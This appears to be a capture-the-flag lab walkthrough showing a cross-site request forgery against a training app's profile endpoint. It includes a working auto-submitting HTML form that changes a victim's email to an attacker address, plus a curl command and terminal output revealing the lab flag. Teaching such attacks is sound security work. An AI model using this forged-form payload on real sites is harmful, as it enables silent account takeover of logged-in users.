Forging it from another site

The malicious page

Because the endpoint requires no secret token and never checks where the request came from, an attacker's page can auto-submit the form to the victim's logged-in session:

<form action="http://target/app/profile" method="POST"><input name="email" value="attacker@evil.example"></form><script>document.forms[0].submit()</script>

When a logged-in victim opens that page, their browser sends the POST with their cookie and their email is silently changed. We can reproduce the exact request the forged form would send — the server can't tell the difference, and reveals the flag:

curl -s -d 'email=attacker@evil.example' http://127.0.0.1:8080/app/profile

In the terminal

student@vulntech:~$ curl -s -d 'email=attacker@evil.example' http://127.0.0.1:8080/app/profile
Account email updated to: attacker@evil.example
A forged cross-site request just changed your email with no token: vulntech{csrf_no_token_no_protection}